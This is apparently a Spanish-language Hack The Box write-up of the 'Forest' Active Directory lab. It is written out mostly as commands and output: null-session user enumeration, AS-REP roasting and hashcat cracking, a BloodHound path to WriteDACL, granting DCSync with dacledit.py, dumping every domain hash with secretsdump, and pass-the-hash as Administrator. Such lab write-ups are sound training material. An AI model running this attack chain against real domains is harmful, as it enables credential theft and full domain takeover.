Forest

Hack The Box — Metodología Detallada

Forest

IP:10.129.95.210
OS:Windows Server 2016
Dificultad:Easy
Categoría:Active Directory
Fecha:29 Ago 2026

Reconocimiento

Escaneo inicial de puertos

Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.

sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.129.95.210 -oG allPorts

Escaneo de versiones

PORT     STATE SERVICE
53/tcp   open  domain       Simple DNS Plus
88/tcp   open  kerberos-sec Microsoft Windows Kerberos
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn
389/tcp  open  ldap         Microsoft Windows AD LDAP (Domain: htb.local)
445/tcp  open  microsoft-ds Windows Server 2016 Standard 14393
464/tcp  open  kpasswd5
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap         Microsoft Windows AD LDAP (Domain: htb.local)
3269/tcp open  tcpwrapped
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (WinRM)
9389/tcp open  mc-nmf       .NET Message Framing

Service Info: Host: FOREST; OS: Windows

Host script results:
| smb-os-discovery:
|   OS: Windows Server 2016 Standard 14393
|   Computer name: FOREST
|   Domain name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2026-08-29T02:01:49-07:00
Hallazgo
La presencia de los puertos 88 (Kerberos), 389 (LDAP) y 3268 (Global Catalog) confirma que FOREST es el Domain Controller del dominio htb.local. El FQDN queda identificado como FOREST.htb.local. El puerto 5985 (WinRM) expuesto representa un vector de acceso remoto una vez obtenidas credenciales válidas. SMBv1 habilitado aunque message signing requerido descarta NTLM Relay.

Identificación del dominio

nmblookup -A 10.129.95.210

No reply from 10.129.95.210
Hipótesis
El intento de identificacion via NetBIOS no obtuvo respuesta. El dominio ya habia sido confirmado mediante el escaneo de versiones de nmap (htb.local), por lo que se procedio a agregar la entrada al /etc/hosts y continuar con la enumeracion.

Enumeración de Active Directory

Enumeración sin credenciales

SMB anonimo — enumeracion de usuarios

Hipótesis
Se evaluo si el servidor admitia autenticacion nula via SMB para enumerar usuarios del dominio sin credenciales previas.
netexec smb 10.129.95.210 -u '' -p '' --users

SMB  10.129.95.210  445  FOREST  [*] Windows Server 2016 Standard 14393 x64
(name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
(Null Auth:True) (DC:True)
SMB  10.129.95.210  445  FOREST  [+] htb.local\:
Hallazgo
El servidor admite autenticacion nula (Null Auth:True). Se obtuvieron 31 usuarios del dominio sin credenciales. Los usuarios de mayor interes identificados son:
Usuario Último PW Set Descripción
Administrator2021-08-31Built-in administrator
krbtgt2019-09-18Key Distribution Center
sebastien2019-09-20---
lucinda2019-09-20---
svc-alfresco2026-08-29---
andy2019-09-22---
mark2019-09-20---
santi2019-09-20---

SMB anonimo — shares

smbclient -L //10.129.95.210// -N

Anonymous login successful
Sharename  Type  Comment
---------  ----  -------
SMB1 disabled -- no workgroup available
Conclusión
No se encontraron shares accesibles anonimamente.

LDAP anonimo

netexec ldap 10.129.95.210 -u '' -p ''

LDAP  10.129.95.210  389  FOREST  [*] Windows 10 / Server 2016 Build 14393
(name:FOREST) (domain:htb.local) (signing:None) (channel binding:No TLS cert)
LDAP  10.129.95.210  389  FOREST  [+] htb.local\:
Hallazgo
LDAP admite autenticacion nula. Se procedio a enumerar usuarios via LDAP para confirmar los resultados previos de SMB.

Identificación de cuentas AS-REP Roastables

Hipótesis
Con los usuarios identificados, se evaluo si alguna cuenta tenia la flag UF_DONT_REQUIRE_PREAUTH activa, condicion necesaria para AS-REP Roasting: si la pre-autenticacion Kerberos esta desactivada, el DC emite un AS-REP cifrado con el hash del usuario sin necesidad de conocer la contrasena, permitiendo crackeo offline.
netexec ldap 10.129.95.210 -u '' -p '' --asreproast asrep.txt

LDAP  10.129.95.210  389  FOREST  [*] Total of records returned 1
LDAP  10.129.95.210  389  FOREST  [email protected]:
2e50291f91749378d7abb6f90a507d3a$...
Hallazgo
La cuenta svc-alfresco tiene la pre-autenticacion Kerberos desactivada. Se obtuvo el hash AS-REP sin autenticacion previa.

Crackeo del hash AS-REP

Hipótesis
El hash obtenido esta cifrado con el hash NTLM de svc-alfresco. Al ser tipo RC4 (etype 23), es susceptible a crackeo offline con diccionario. El hash estaba en multiples lineas debido al formato de salida de netexec, lo que impidio la carga directa en hashcat.
Hipótesis
Primer intento con modo 13100 (TGS): hashcat reporto Signature unmatched porque AS-REP usa el modo 18200, no 13100. Adicionalmente el hash estaba fragmentado en multiples lineas y hashcat no pudo cargarlo.
# Correccion del hash -- unir en una sola linea
tr -d '\n' < asrep.txt > asrep_fixed.txt

# Crackeo con modo correcto (AS-REP = 18200)
hashcat -m 18200 asrep_fixed.txt \
/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt

[email protected]:[...]:s3rvice

Status: Cracked
Time: 0 secs
Hallazgo
Vector confirmado: Hash AS-REP de svc-alfresco crackeado en menos de 1 segundo. Credencial obtenida: svc-alfresco:s3rvice.

Enumeración adicional – user-as-password

Hipótesis
Se evaluo si algun usuario tenia su propio nombre de usuario como contrasena. Se construyo una wordlist con los usuarios reales del dominio.
kerbrute passwordspray --user-as-pass users.txt -d htb.local \
--dc 10.129.95.210

Done! Tested 6 logins (0 successes) in 0.216 seconds
Conclusión
Ninguna cuenta utiliza su nombre de usuario como contrasena. Vector descartado.

BloodHound — grafo del dominio

Hipótesis
Con credenciales validas de svc-alfresco se procedio a recolectar todos los objetos del dominio mediante bloodhound-python para construir un grafo de ataque completo e identificar rutas de escalada hacia Domain Admin.
Hipótesis
El binario bloodhound-python del sistema fallaba por un conflicto de versiones de pyOpenSSL instalado previamente en el directorio .local. El error GEN_EMAIL indicaba que la version 24.0.0 de pyOpenSSL era incompatible con Python 3.14. Se resolvio desinstalando pyOpenSSL del entorno local:
pip uninstall pyopenssl -y --break-system-packages
bloodhound-python -u svc-alfresco -p s3rvice \
-dc htb.local -d htb.local -c All \
-ns 10.129.95.210

INFO: Found AD domain: htb.local
INFO: Found 1 domains
INFO: Found 2 computers
INFO: Found 32 users
INFO: Found 76 groups
INFO: Found 2 gpos
INFO: Found 15 ous
INFO: Found 20 containers
INFO: Done in 00M 28S
Hallazgo
Se recolectaron 32 usuarios, 76 grupos y 2 computadoras del dominio. Los datos fueron importados a BloodHound CE. La query Shortest Paths to Domain Admins revelo la siguiente cadena de escalada desde svc-alfresco:
Origen ACL / Relación Destino
svc-alfrescoMemberOfService Accounts
Service AccountsMemberOfPrivileged IT Accounts
Privileged IT AccountsMemberOfAccount Operators
Account OperatorsGenericAllExchange Windows Permissions
Exchange Windows Perm.WriteDACLHTB.LOCAL (Dominio)
HTB.LOCALContainsAdministrator

Explotación

Acceso inicial — WinRM con credenciales de svc-alfresco

evil-winrm -i 10.129.95.210 -u svc-alfresco -p s3rvice

*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> type user.txt
03d0c6***ec75e
Hallazgo
Vector confirmado: Acceso obtenido como svc-alfresco via WinRM. Flag de usuario: 03d0c6***ec75e.

Escalada de Privilegios

Estrategia: abuso de WriteDACL sobre el dominio

BloodHound confirmo que la cadena de escalada requiere:

  1. Agregar svc-alfresco al grupo Exchange Windows Permissions (posible gracias a que Account Operators tiene GenericAll sobre ese grupo).

  2. Usar el permiso WriteDACL que ese grupo tiene sobre el dominio para otorgarse derechos de DCSync.

  3. Ejecutar DCSync para volcar los hashes del dominio.

Intentos fallidos — problema del token de sesion

Hipótesis
Se intento agregar svc-alfresco al grupo Exchange Windows Permissions y luego aplicar el ACE de DCSync mediante bloodyad y PowerView. Ambas herramientas fallaron con Access is denied de forma consistente.

Intento 1 – bloodyad add groupMember desde la maquina atacante

bloodyad -d htb.local -i 10.129.95.210 \
-u svc-alfresco -p 's3rvice' \
-H FOREST.htb.local \
add groupMember 'EXCHANGE WINDOWS PERMISSIONS' svc-alfresco

[+] svc-alfresco added to EXCHANGE WINDOWS PERMISSIONS

El usuario fue agregado al grupo, pero al intentar aplicar el ACE de DCSync con bloodyad add dcsync y Add-DomainObjectAcl via PowerView, ambos retornaron Access is denied. La causa: la sesion WinRM activa tenia un token viejo que no incluia el nuevo grupo.

Intento 2 – PowerView sin -Credential

*Evil-WinRM* PS> . .\PowerView.ps1
*Evil-WinRM* PS> Add-DomainObjectAcl -TargetIdentity 'DC=htb,DC=local' \
-PrincipalIdentity svc-alfresco -Rights DCSync

# Sin output -- ejecuto sin error pero sin efecto

La verificacion confirmo que el ACE no se aplico:

*Evil-WinRM* PS> Get-DomainObjectAcl -DistinguishedName 'DC=htb,DC=local' \
-ResolveGUIDs | Where-Object {$_.IdentityReference -match 'svc-alfresco'}

# Sin output -- el ACE no existe

Intento 3 – PowerView con -Credential

*Evil-WinRM* PS> $pass = ConvertTo-SecureString 's3rvice' -AsPlainText -Force
*Evil-WinRM* PS> $cred = New-Object System.Management.Automation.PSCredential(
'htb.local\svc-alfresco', $pass)
*Evil-WinRM* PS> Add-DomainObjectAcl -TargetIdentity 'DC=htb,DC=local' \
-PrincipalIdentity svc-alfresco -Rights DCSync -Credential $cred -Verbose

Verbose: [Add-DomainObjectAcl] Granting principal
CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local 'DCSync' on DC=htb,DC=local
Verbose: [Add-DomainObjectAcl] Error granting principal
CN=svc-alfresco [...] 'DCSync' on DC=htb,DC=local :
Exception calling "CommitChanges" with "0" argument(s): "Access is denied."

Intento 4 – verificacion del token

Se verifico si el grupo aparecia en el token de la sesion activa:

*Evil-WinRM* PS> whoami /groups | findstr -i exchange

# Sin output -- el grupo no esta en el token

Se confirmo que aunque el usuario habia sido agregado al grupo, la sesion WinRM activa no reflejo el cambio:

*Evil-WinRM* PS> net user svc-alfresco /domain

Global Group memberships  *Domain Users  *Service Accounts
# Exchange Windows Permissions no aparece en el token

Tras reconectarse, el grupo si aparecio en net user pero el token seguia sin incluirlo en whoami /groups, confirmando que WinRM no genera un logon fresco equivalente al de un login interactivo.

Nota
En Windows, los cambios de membresia de grupo no se reflejan en el token de seguridad de una sesion activa hasta que el usuario cierra sesion y se autentica nuevamente con un logon completo. Evil-WinRM no genera ese logon fresco, por lo que el token persiste con los grupos que tenia en el momento de la conexion inicial.

Solucion — usuario nuevo con token fresco

Hipótesis
Se creo un usuario nuevo (avilx) para evitar el problema del token. Un usuario recien creado que se agrega al grupo objetivo antes de su primera autenticacion recibe el token correcto desde el inicio, sin necesidad de reconexion.

Paso 1 – Crear usuario y agregarlo al grupo

Desde la sesion de svc-alfresco en Evil-WinRM:

net user avilx abc123! /add /domain
The command completed successfully.

net group "Exchange Windows Permissions" avilx /add
The command completed successfully.

net localgroup "Remote Management Users" avilx /add
The command completed successfully.

Paso 2 – Aplicar DCSync con dacledit.py

Desde la maquina atacante, usando las credenciales del usuario nuevo:

dacledit.py htb.local/avilx:'abc123!' \
-dc-ip 10.129.95.210 \
-principal avilx \
-target-dn 'DC=htb,DC=local' \
-action write \
-rights DCSync

[*] DACL backed up to dacledit-20260829-094435.bak
[*] DACL modified successfully!
Hallazgo
El permiso de DCSync fue otorgado exitosamente a avilx. El usuario nuevo, al autenticarse por primera vez con el grupo ya asignado, tenia el token correcto y pudo modificar el DACL del dominio sin restricciones.

Paso 3 – DCSync con secretsdump.py

secretsdump.py htb.local/avilx:'abc123!'@10.129.95.210 -just-dc

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets

htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:
32693b11e6aa90eb43d32c72a07ceea6:::

krbtgt:502:aad3b435b51404eeaad3b435b51404ee:
819af826bb148e603acb0f33d17632f8:::

htb.local\sebastien:1145:...:96246d980e3a8ceacbf9069173fa06fc:::
htb.local\lucinda:1146:...:4c2af4b2cd8a15b1ebd0ef6c58b879c3:::
htb.local\svc-alfresco:1147:...:9248997e4ef68ca2bb47ae4e6f128668:::
htb.local\andy:1150:...:29dfccaf39618bbad2b25a244b6c2b51:::
htb.local\mark:1151:...:9e63ebcb217bf3c6b27056fdcb6150f7:::
htb.local\santi:1152:...:483d4c70248510d8cc1d284f4160e852:::
Hallazgo
Vector confirmado: DCSync exitoso. Se obtuvieron los hashes NTLM de todos los usuarios del dominio. Hash del Administrator: 32693b11e6aa90eb43d32c72a07ceea6.

Pass-the-Hash — acceso como Administrator

evil-winrm -i 10.129.95.210 -u Administrator \
-H 32693b11e6aa90eb43d32c72a07ceea6

*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
1c64ae***f99f2e
Hallazgo
Vector confirmado: Acceso obtenido como Administrator via Pass-the-Hash. El dominio HTB.LOCAL ha sido completamente comprometido. Flag de root: 1c64ae***f99f2e.

Reflexión Final

Qué salió bien

Qué salió mal

Lecciones aprendidas

Tiempo total

Aproximadamente 50 Minutos (sesion distribuida incluyendo depuracion de herramientas y multiples intentos fallidos de DCSync).